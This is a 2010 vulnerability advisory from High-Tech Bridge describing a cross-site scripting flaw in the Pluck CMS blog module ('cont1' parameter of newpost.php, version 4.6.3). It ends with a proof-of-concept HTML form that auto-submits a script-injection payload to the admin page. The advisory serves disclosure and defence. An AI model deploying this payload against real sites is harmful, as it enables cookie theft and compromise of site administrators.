XSS vulnerability in Pluck

Type securityvulns
Reporter Securityvulns
Modified 2010-09-29T00:00:00


Vulnerability ID: HTB22610 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluck.html Product: Pluck Vendor: Pluck Team ( http://www.pluck-cms.org ) Vulnerable Version: 4.6.3 and probably prior versions Vendor Notification: 15 September 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "data/modules/blog/pages_admin/newpost.php" script to properly sanitize user-supplied input in "cont1" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?module=blog&page=newpost" method="post" name="main" >

<input type="hidden" name="cont1" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="cont2" value="no category" /> <input type="hidden" name="cont3" value="" /> <input type="submit" id="btn" name="Submit" value="Save" />

</form> <script> document.getElementById('btn').click(); </script>